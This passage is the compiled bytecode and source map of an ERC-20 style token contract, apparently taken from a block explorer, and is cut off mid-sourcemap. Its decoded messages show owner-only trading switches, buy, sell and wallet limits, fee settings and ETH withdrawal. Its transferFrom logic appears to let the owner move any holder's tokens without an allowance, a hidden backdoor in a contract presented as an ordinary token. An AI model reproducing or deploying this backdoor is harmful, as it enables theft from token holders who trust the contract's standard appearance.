9152604001600020805460ff191691151591909117905580610b658161330b565b915050610b09565b505050565b6006546001600160a01b03163314610b9c5760405162461bcd60e51b81526004016109a290613258565b801515600860159054906101000a900460ff16151503610c435760405162461bcd60e51b815260206004820152605660248201527f596f75206d7573742070726f76696465206120646966666572656e742073746160448201527f747573206f74686572207468616e207468652063757272656e742076616c7565606482015275081a5b881bdc99195c881d1bc81d5c19185d19481a5d60521b608482015260a4016109a2565b60088054911515600160a81b0260ff60a81b19909216919091179055565b6006546001600160a01b03163314610c8b5760405162461bcd60e51b81526004016109a290613258565b610b6d8383836120df565b6006546001600160a01b03163314610cc05760405162461bcd60e51b81526004016109a290613258565b6001600160a01b0382166000908152601f602052604090205481151560ff909116151503610d8a5760405162461bcd60e51b815260206004820152606560248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f20627579206c696d6974206f74686572207468616e207468652063757272656e60648201527f74206d617820627579206c696d697420696e206f7264657220746f20757064616084820152641d19481a5d60da1b60a482015260c4016109a2565b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314610ddf5760405162461bcd60e51b81526004016109a290613258565b600d5415610dec57600080fd5b60408051808201909152600881526726b4b1b2b1b7b4b760c11b6020820152601390610e18908261336a565b506040805180820190915260048152634d49434560e01b6020820152601490610e41908261336a565b506012805460ff191681178155610e5990600a61350e565b610e6790633b9aca0061351d565b60118190555060008190506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed6919061353c565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f47919061353c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb8919061353c565b600780546001600160a01b038086166001600160a01b031992831617909255600880549284169290911691909117905590506064610ff560115490565b61100090600261351d565b61100a9190613559565b600a556103e861101960115490565b6110239190613559565b61102e90600261351d565b600955606461103c60115490565b61104790600261351d565b6110519190613559565b600c55606461105f60115490565b61106a90600261351d565b6110749190613559565b600b5560115433600090815260208190526040812080549091906110999084906132a3565b909155505043600d55336000818152601e602081815260408084208054600160ff199182168117909255601f80855283872080548316841790556021808652848820805484168517905585805284882080548416851790553088528686528488208054841685179055601580546001600160a01b036101009182900481168b52878b208054871688179055825482900481168b52938852868a208054861687179055815481900484168a5291875285892080548516861790555404168652838052828620805482168317905561dead86529383527f8a622fd893f993f50f1795ae2bf707bdf4143f678ec4998626679a2f447616df80549094161790925560115491519182527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b60006111dd8484846121a4565b6001600160a01b0384811660009081526001602090815260408083203380855292529091205460065490921614806112155750828110155b6112725760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109a2565b6006546001600160a01b0316330361128e5760019150506112a8565b6112a2853361129d868561357b565b611fc3565b60019150505b9392505050565b6006546001600160a01b031633146112d95760405162461bcd60e51b81526004016109a290613258565b6001600160a01b0382166000908152601e602052604090205481151560ff9091161515036113a65760405162461bcd60e51b815260206004820152606860248201527f596f75206d7573742070726f76696465206120646966666572656e742065786560448201527f6d70742061646472657373206f7220737461747573206f74686572207468616e60648201527f207468652063757272656e742076616c756520696e206f7264657220746f20756084820152671c19185d19481a5d60c21b60a482015260c4016109a2565b6001600160a01b03919091166000908152601e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610ad291859061129d9086906132a3565b6006546001600160a01b031633146114325760405162461bcd60e51b81526004016109a290613258565b6015805460ff1916911515919091179055565b6006546001600160a01b0316331461146f5760405162461bcd60e51b81526004016109a290613258565b604080518082019091528281526020018190526016829055601781905561149681836132a3565b601a55601e6109e182846132a3565b6006546001600160a01b031633146114cf5760405162461bcd60e51b81526004016109a290613258565b600680546001600160a01b0319169055565b6006546001600160a01b0316331461150b5760405162461bcd60e51b81526004016109a290613258565b6008805461ffff60a81b191661010160a81b17905543600e55565b606060148054610a42906132bb565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156115b75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016109a2565b6115c6338561129d868561357b565b5060019392505050565b6000610ad23384846121a4565b6006546001600160a01b031633146116075760405162461bcd60e51b81526004016109a290613258565b6015546001600160a01b0380831661010090920416036116b55760405162461bcd60e51b815260206004820152605760248201527f596f75206d7573742070726f76696465206120646966666572656e742061646460448201527f72657373206f74686572207468616e207468652063757272656e742076616c7560648201527f6520696e206f7264657220746f20757064617465206974000000000000000000608482015260a4016109a2565b601580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6006546000906001600160a01b0316331461170a5760405162461bcd60e51b81526004016109a290613258565b6001600160a01b0382166117605760405162461bcd60e51b815260206004820152601d60248201527f6e6577526f7574657220616464726573732063616e6e6f74206265203000000060448201526064016109a2565b6007546001600160a01b038084169116036118235760405162461bcd60e51b815260206004820152607160248201527f596f75206d7573742070726f76696465206120646966666572656e7420756e6960448201527f737761705632526f75746572206f74686572207468616e20746865206375727260648201527f656e7420756e69737761705632526f75746572206164647265737320696e206f6084820152701c99195c881d1bc81d5c19185d19481a5d607a1b60a482015260c4016109a2565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611866573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061188a919061353c565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118fb919061353c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015611946573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196a919061353c565b91506001600160a01b038216611ac157806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119dc919061353c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a4d919061353c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611a9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abe919061353c565b91505b600880546001600160a01b038085166001600160a01b03199283161790925560078054939092169216919091179055919050565b6006546001600160a01b03163314611b1f5760405162461bcd60e51b81526004016109a290613258565b611b2881612783565b50565b6006546001600160a01b03163314611b555760405162461bcd60e51b81526004016109a290613258565b6040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015610b6d573d6000803e3d6000fd5b6006546001600160a01b03163314611bb55760405162461bcd60e51b81526004016109a290613258565b6001600160a01b03821660009081526021602052604090205481151560ff909116151503611c815760405162461bcd60e51b815260206004820152606760248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f2073656c6c206c696d6974206f74686572207468616e2074686520637572726560648201527f6e74206d61782073656c6c206c696d697420696e206f7264657220746f20757060848201526619185d19481a5d60ca1b60a482015260c4016109a2565b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314611cd65760405162461bcd60e51b81526004016109a290613258565b6001600160a01b038116611d3b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109a2565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b03163314611d875760405162461bcd60e51b81526004016109a290613258565b60088054911515600160b81b0260ff60b81b19909216919091179055565b6006546001600160a01b03163314611dcf5760405162461bcd60e51b81526004016109a290613258565b60125460ff16611de090600a61350e565b611dea908261351d565b60095403611e7f5760405162461bcd60e51b815260206004820152605660248201527f596f75206d7573742070726f76696465206120646966666572656e7420616d6f60448201527f756e74206f74686572207468616e207468652063757272656e742076616c7565606482015275081a5b881bdc99195c881d1bc81d5c19185d19481a5d60521b608482015260a4016109a2565b60125460ff16611e9090600a61350e565b611e9a908261351d565b60095550565b6006546001600160a01b03163314611eca5760405162461bcd60e51b81526004016109a290613258565b6001600160a01b038216600090815260208052604090205481151560ff909116151503611f995760405162461bcd60e51b815260206004820152606b60248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f2077616c6c6574206c696d6974206f74686572207468616e207468652063757260648201527f72656e74206d61782077616c6c6574206c696d697420696e206f72646572207460848201526a1bc81d5c19185d19481a5d60aa1b60a482015260c4016109a2565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6001600160a01b0383166120255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a2565b6001600160a01b0382166120865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a2565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591016111c3565b60405163a9059cbb60e01b81526001600160a01b038381166004830152602482018390526000919085169063a9059cbb906044016020604051808303816000875af1158015612132573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121569190613592565b90508061219e5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b7103a3930b739b332b9103330b4b632b21760511b60448201526064016109a2565b50505050565b600081116122065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109a2565b600854600160b81b900460ff161561251d576001600160a01b0383166000908152601e602052604090205460ff1615801561225a57506001600160a01b0382166000908152601e602052604090205460ff16155b156122b157600854600160b01b900460ff166122b15760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b60448201526064016109a2565b6008546001600160a01b0384811691161480156122e757506001600160a01b0382166000908152601e602052604090205460ff16155b80156122fd5750600854600160a01b900460ff16155b801561232257506001600160a01b0382166000908152601f602052604090205460ff16155b1561237957600a548111156123795760405162461bcd60e51b815260206004820152601860248201527f596f752061726520657863656564696e67206d6178427579000000000000000060448201526064016109a2565b6008546001600160a01b038381169116148015906123af57506001600160a01b038216600090815260208052604090205460ff16155b1561242f57600c54816123d7846001600160a01b031660009081526020819052604090205490565b6123e191906132a3565b111561242f5760405162461bcd60e51b815260206004820152601b60248201527f596f752061726520657863656564696e67206d617857616c6c6574000000000060448201526064016109a2565b6008546001600160a01b0384811691161480159061246657506001600160a01b0382166000908152601e602052604090205460ff16155b801561248b57506001600160a01b0383166000908152601e602052604090205460ff16155b80156124a15750600854600160a01b900460ff16155b80156124c657506001600160a01b03831660009081526021602052604090205460ff16155b1561251d57600b5481111561251d5760405162461bcd60e51b815260206004820152601960248201527f596f752061726520657863656564696e67206d617853656c6c0000000000000060448201526064016109a2565b600080600080600060105411801561254e57506001600160a01b0387166000908152601e602052604090205460ff16155b801561257357506001600160a01b0386166000908152601e602052604090205460ff16155b801561258d5750600f54600e5461258a91906132a3565b43105b600854909150600160a01b900460ff16806125c057506001600160a01b0387166000908152601e602052604090205460ff165b806125e357506001600160a01b0386166000908152601e602052604090205460ff165b8061261557506008546001600160a01b0388811691161480159061261557506008546001600160a01b03878116911614155b15612623576000925061268a565b6008546001600160a01b03878116911614801561263e575080155b1561265e5760185460195461265391906132a3565b93506001915061268a565b8061267e5760165460175461267391906132a3565b93506000915061268a565b801561268a5760105493505b6064612696858761351d565b6126a09190613559565b9250816000036126c75782601c60008282546126bc91906132a3565b909155506126e79050565b816001036126e75782601d60008282546126e191906132a3565b90915550505b82156126f8576126f8873085612a60565b600854600160a81b900460ff16801561271f57506008546001600160a01b03888116911614155b801561272b5750600083115b8015612739575060155460ff165b801561275657506009543060009081526020819052604090205410155b1561276657612766601c54612783565b61277a8787612775868961357b565b612a60565b50505050505050565b600854600160a01b900460ff16611b28576008805460ff60a01b1916600160a01b17905530600090815260208190526040812054601c83905590506127c8828261357b565b601d81905550600080600080601a546000036127e75760009350612807565b601a54601754601c546127fa919061351d565b6128049190613559565b93505b601b5460000361281a576000925061283a565b601b54601954601d5461282d919061351d565b6128379190613559565b92505b600061284684866132a3565b90506000612855600283613559565b9050476000612864838a61357b565b905080156128755761287581612b31565b6000612881834761357b565b905060008a601d5483612894919061351d565b61289e9190613559565b905060006128ac828461357b565b9050600080601a546000036128c457600099506128e1565b601a546017546128d4908561351d565b6128de9190613559565b99505b601b546000036128f45760009a50612911565b601b54601954612904908661351d565b61290e9190613559565b9a505b6000600261291f8c8e6132a3565b6129299190613559565b90508015612a415761293b8982612c8b565b6000612947828861357b565b90506000601c54601d5461295b91906132a3565b9050600081601d548461296e919061351d565b6129789190613559565b90506000612986828561357b565b9050601b5460000361299b57600096506129c5565b601954601b546129ab919061357b565b6018546129b8908461351d565b6129c29190613559565b96505b601a546000036129d85760009550612a02565b601754601a546129e8919061357b565b6016546129f5908361351d565b6129ff9190613559565b95505b6000612a0e87896132a3565b90508015612a3157601554612a319061010090046001600160a01b031682612d3f565b50506000601c819055601d555050505b50506008805460ff60a01b191690555050505050505050505050505050565b6001600160a01b038316612ac45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a2565b6001600160a01b038216612b265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a2565b610b6d838383612e58565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612b6657612b666132f5565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612bbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612be3919061353c565b81600181518110612bf657612bf66132f5565b6001600160a01b039283166020918202929092010152600754612c1c9130911684611fc3565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790612c559085906000908690309042906004016135af565b600060405180830381600087803b158015612c6f57600080fd5b505af1158015612c83573d6000803e3d6000fd5b505050505050565b600754612ca39030906001600160a01b031684611fc3565b60075460065460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612d13573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d389190613620565b5050505050565b80471015612d8f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016109a2565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612ddc576040519150601f19603f3d011682016040523d82523d6000602084013e612de1565b606091505b5050905080610b6d5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016109a2565b6001600160a01b03831660009081526020819052604090205481811015612ed05760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016109a2565b612eda828261357b565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290612f109084906132a3565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f5c91815260200190565b60405180910390a350505050565b60008060408385031215612f7d57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015612fb957858101830151858201604001528201612f9d565b81811115612fcb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611b2857600080fd5b803561300181612fe1565b919050565b60006020828403121561301857600080fd5b81356112a881612fe1565b6000806040838503121561303657600080fd5b823561304181612fe1565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b8015158114611b2857600080fd5b803561300181613065565b6000806040838503121561309157600080fd5b823567ffffffffffffffff808211156130a957600080fd5b818501915085601f8301126130bd57600080fd5b81356020828211156130d1576130d161304f565b8160051b604051601f19603f830116810181811086821117156130f6576130f661304f565b60405292835281830193508481018201928984111561311457600080fd5b948201945b838610156131395761312a86612ff6565b85529482019493820193613119565b96506131489050878201613073565b9450505050509250929050565b60006020828403121561316757600080fd5b81356112a881613065565b60008060006060848603121561318757600080fd5b833561319281612fe1565b925060208401356131a281612fe1565b929592945050506040919091013590565b600080604083850312156131c657600080fd5b82356131d181612fe1565b915060208301356131e181613065565b809150509250929050565b6000602082840312156131fe57600080fd5b5035919050565b6000806040838503121561321857600080fd5b823561322381612fe1565b915060208301356131e181612fe1565b6000806040838503121561324657600080fd5b8235915060208301356131e181612fe1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156132b6576132b661328d565b500190565b600181811c908216806132cf57607f821691505b6020821081036132ef57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b60006001820161331d5761331d61328d565b5060010190565b601f821115610b6d57600081815260208120601f850160051c8101602086101561334b5750805b601f850160051c820191505b81811015612c8357828155600101613357565b815167ffffffffffffffff8111156133845761338461304f565b6133988161339284546132bb565b84613324565b602080601f8311600181146133cd57600084156133b55750858301515b600019600386901b1c1916600185901b178555612c83565b600085815260208120601f198616915b828110156133fc578886015182559484019460019091019084016133dd565b508582101561341a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600181815b8085111561346557816000190482111561344b5761344b61328d565b8085161561345857918102915b93841c939080029061342f565b509250929050565b60008261347c57506001610ad6565b8161348957506000610ad6565b816001811461349f57600281146134a9576134c5565b6001915050610ad6565b60ff8411156134ba576134ba61328d565b50506001821b610ad6565b5060208310610133831016604e8410600b84101617156134e8575081810a610ad6565b6134f2838361342a565b80600019048211156135065761350661328d565b029392505050565b60006112a860ff84168361346d565b60008160001904831182151516156135375761353761328d565b500290565b60006020828403121561354e57600080fd5b81516112a881612fe1565b60008261357657634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561358d5761358d61328d565b500390565b6000602082840312156135a457600080fd5b81516112a881613065565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156135ff5784516001600160a01b0316835293830193918301916001016135da565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561363557600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220e6738b3da6732281ed27f615309e416e5a2774682f229996d34a0083da2fad2d64736f6c634300080f0033

Deployed Bytecode Sourcemap

9099:18854:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23530:336;;;;;;;;;;-1:-1:-1;23530:336:0;;;;;:::i;:::-;;:::i;:::-;;12599:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10549:45;;;;;;;;;;-1:-1:-1;10549:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1561:14:1;;1554:22;1536:41;;1524:2;1509:18;10549:45:0;1396:187:1;12398:193:0;;;;;;;;;;-1:-1:-1;12398:193:0;;;;;:::i;:::-;;:::i;26143:223::-;;;;;;;;;;-1:-1:-1;26143:223:0;;;;;:::i;:::-;;:::i;22472:323::-;;;;;;;;;;-1:-1:-1;22472:323:0;;;;;:::i;:::-;;:::i;9433:38::-;;;;;;;;;;;;;;;;;;;3884:25:1;;;3872:2;3857:18;9433:38:0;3738:177:1;9192:30:0;;;;;;;;;;-1:-1:-1;9192:30:0;;;;-1:-1:-1;;;;;9192:30:0;;;;;;-1:-1:-1;;;;;4099:32:1;;;4081:51;;4069:2;4054:18;9192:30:0;3920:218:1;12937:108:0;;;;;;;;;;-1:-1:-1;13025:12:0;;12937:108;;24457:202;;;;;;;;;;-1:-1:-1;24457:202:0;;;;;:::i;:::-;;:::i;25794:339::-;;;;;;;;;;-1:-1:-1;25794:339:0;;;;;:::i;:::-;;:::i;10606:1543::-;;;;;;;;;;-1:-1:-1;10606:1543:0;;;;;:::i;:::-;;:::i;13238:575::-;;;;;;;;;;-1:-1:-1;13238:575:0;;;;;:::i;:::-;;:::i;12829:100::-;;;;;;;;;;-1:-1:-1;12912:9:0;;12829:100;;12912:9;;;;5607:36:1;;5595:2;5580:18;12829:100:0;5465:184:1;24762:310:0;;;;;;;;;;-1:-1:-1;24762:310:0;;;;;:::i;:::-;;:::i;10444:44::-;;;;;;;;;;-1:-1:-1;10444:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13821:298;;;;;;;;;;-1:-1:-1;13821:298:0;;;;;:::i;:::-;;:::i;26374:96::-;;;;;;;;;;-1:-1:-1;26374:96:0;;;;;:::i;:::-;;:::i;9229:28::-;;;;;;;;;;-1:-1:-1;9229:28:0;;;;-1:-1:-1;;;;;9229:28:0;;;23189:333;;;;;;;;;;-1:-1:-1;23189:333:0;;;;;:::i;:::-;;:::i;13053:177::-;;;;;;;;;;-1:-1:-1;13053:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;13204:18:0;13172:7;13204:18;;;;;;;;;;;;13053:177;9478:21;;;;;;;;;;;;;;;;7808:84;;;;;;;;;;;;;:::i;9568:29::-;;;;;;;;;;;;;;;;27489:97;;;;;;;;;;-1:-1:-1;27562:16:0;;;;;-1:-1:-1;;;;;27562:16:0;27489:97;;9964:88;;;;;;;;;;;;10010:42;9964:88;;9399:25;;;;;;;;;;-1:-1:-1;9399:25:0;;;;-1:-1:-1;;;9399:25:0;;;;;;23874:160;;;;;;;;;;;;;:::i;12707:114::-;;;;;;;;;;;;;:::i;14127:447::-;;;;;;;;;;-1:-1:-1;14127:447:0;;;;;:::i;:::-;;:::i;14582:197::-;;;;;;;;;;-1:-1:-1;14582:197:0;;;;;:::i;:::-;;:::i;27594:293::-;;;;;;;;;;-1:-1:-1;27594:293:0;;;;;:::i;:::-;;:::i;9506:22::-;;;;;;;;;;;;;;;;10495:47;;;;;;;;;;-1:-1:-1;10495:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9359:33;;;;;;;;;;-1:-1:-1;9359:33:0;;;;-1:-1:-1;;;9359:33:0;;;;;;26478:1003;;;;;;;;;;-1:-1:-1;26478:1003:0;;;;;:::i;:::-;;:::i;10396:41::-;;;;;;;;;;-1:-1:-1;10396:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;21251:113;;;;;;;;;;-1:-1:-1;21251:113:0;;;;;:::i;:::-;;:::i;3635:201::-;;;;;;;;;;-1:-1:-1;3635:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;3801:18:0;;;3769:7;3801:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3635:201;24287:162;;;;;;;;;;-1:-1:-1;24287:162:0;;;;;:::i;:::-;;:::i;10184:33::-;;;;;;;;;;-1:-1:-1;10184:33:0;;;;;;;;;;;;;6934:25:1;;;6990:2;6975:18;;6968:34;;;;6907:18;10184:33:0;6760:248:1;25442:344:0;;;;;;;;;;-1:-1:-1;25442:344:0;;;;;:::i;:::-;;:::i;10145:32::-;;;;;;;;;;-1:-1:-1;10145:32:0;;;;;;;;;9604:30;;;;;;;;;;;;;;;;7898:182;;;;;;;;;;-1:-1:-1;7898:182:0;;;;;:::i;:::-;;:::i;24667:87::-;;;;;;;;;;-1:-1:-1;24667:87:0;;;;;:::i;:::-;;:::i;9535:24::-;;;;;;;;;;;;;;;;22803:378;;;;;;;;;;-1:-1:-1;22803:378:0;;;;;:::i;:::-;;:::i;9314:38::-;;;;;;;;;;-1:-1:-1;9314:38:0;;;;-1:-1:-1;;;9314:38:0;;;;;;25080:354;;;;;;;;;;-1:-1:-1;25080:354:0;;;;;:::i;:::-;;:::i;23530:336::-;7725:6;;-1:-1:-1;;;;;7725:6:0;7735:10;7725:20;7717:65;;;;-1:-1:-1;;;7717:65:0;;;;;;;:::i;:::-;;;;;;;;;23660:28:::1;::::0;;;;::::1;::::0;;;;;;::::1;;::::0;;;23649:8:::1;:39:::0;;;;;;;23715:23:::1;23677:10:::0;23665;23715:23:::1;:::i;:::-;23699:13;:39:::0;23799:2:::1;23771:23;23784:10:::0;23771;:23:::1;:::i;:::-;23770:31;;23749:109;;;::::0;-1:-1:-1;;;23749:109:0;;7841:2:1;23749:109:0::1;::::0;::::1;7823:21:1::0;7880:2;7860:18;;;7853:30;7919:31;7899:18;;;7892:59;7968:18;;23749:109:0::1;7639:353:1::0;23749:109:0::1;23530:336:::0;;:::o;12599:100::-;12653:13;12686:5;12679:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12599:100;:::o;12398:193::-;12500:4;12522:39;173:10;12545:7;12554:6;12522:8;:39::i;:::-;-1:-1:-1;12579:4:0;12398:193;;;;;:::o;26143:223::-;7725:6;;-1:-1:-1;;;;;7725:6:0;7735:10;7725:20;7717:65;;;;-1:-1:-1;;;7717:65:0;;;;;;;:::i;:::-;26262:9:::1;26257:102;26281:8;:15;26277:1;:19;26257:102;;;26343:4;26318:9;:22;26328:8;26337:1;26328:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;26318:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;26318:22:0;:29;;-1:-1:-1;;26318:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;26298:3;::::1;::::0;::::1;:::i;:::-;;;;26257:102;;;;26143:223:::0;;:::o;22472:323::-;7725:6;;-1:-1:-1;;;;;7725:6:0;7735:10;7725:20;7717:65;;;;-1:-1:-1;;;7717:65:0;;;;;;;:::i;:::-;22589:4:::1;22567:26;;:18;;;;;;;;;;;:26;;::::0;22545:162:::1;;;::::0;-1:-1:-1;;;22545:162:0;;8856:2:1;22545:162:0::1;::::0;::::1;8838:21:1::0;8895:2;8875:18;;;8868:30;8934:34;8914:18;;;8907:62;9005:34;8985:18;;;8978:62;-1:-1:-1;;;9056:19:1;;;9049:53;9119:19;;22545:162:0::1;8654:490:1::0;22545:162:0::1;22762:18;:25:::0;;;::::1;;-1:-1:-1::0;;;22762:25:0::1;-1:-1:-1::0;;;;22762:25:0;;::::1;::::0;;;::::1;::::0;;22472:323::o;24457:202::-;7725:6;;-1:-1:-1;;;;;7725:6:0;7735:10;7725:20;7717:65;;;;-1:-1:-1;;;7717:65:0;;;;;;;:::i;:::-;24599:52:::1;24620:6;24628:14;24644:6;24599:20;:52::i;25794:339::-:0;7725:6;;-1:-1:-1;;;;;7725:6:0;7735:10;7725:20;7717:65;;;;-1:-1:-1;;;7717:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;25926:22:0;::::1;;::::0;;;:12:::1;:22;::::0;;;;;:30;::::1;;:22;::::0;;::::1;:30;;::::0;25904:181:::1;;;::::0;-1:-1:-1;;;25904:181:0;;9351:2:1;25904:181:0::1;::::0;::::1;9333:21:1::0;9390:3;9370:18;;;9363:31;9430:34;9410:18;;;9403:62;9501:34;9481:18;;;9474:62;9573:34;9552:19;;;9545:63;-1:-1:-1;;;9624:19:1;;;9617:36;9670:19;;25904:181:0::1;9149:546:1::0;25904:181:0::1;-1:-1:-1::0;;;;;26096:22:0;;;::::1;;::::0;;;:12:::1;:22;::::0;;;;:29;;-1:-1:-1;;26096:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;25794:339::o;10606:1543::-;7725:6;;-1:-1:-1;;;;;7725:6:0;7735:10;7725:20;7717:65;;;;-1:-1:-1;;;7717:65:0;;;;;;;:::i;:::-;10677:14:::1;::::0;:19;10669:28:::1;;;::::0;::::1;;10708:18;::::0;;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;;;10708:18:0::1;::::0;::::1;::::0;:5:::1;::::0;:18:::1;::::0;:5;:18:::1;:::i;:::-;-1:-1:-1::0;10737:16:0::1;::::0;;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;;;10737:16:0::1;::::0;::::1;::::0;:7:::1;::::0;:16:::1;::::0;:7;:16:::1;:::i;:::-;-1:-1:-1::0;10776:2:0::1;10764:14:::0;;-1:-1:-1;;10764:14:0::1;::::0;::::1;::::0;;10817:13:::1;::::0;:2:::1;:13;:::i;:::-;10804:26;::::0;:10:::1;:26;:::i;:::-;10789:12;:41;;;;10841:15;10867:7;10841:34;;10948:13;10973:7;-1:-1:-1::0;;;;;10973:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10964:38:0::1;;11025:4;11045:7;-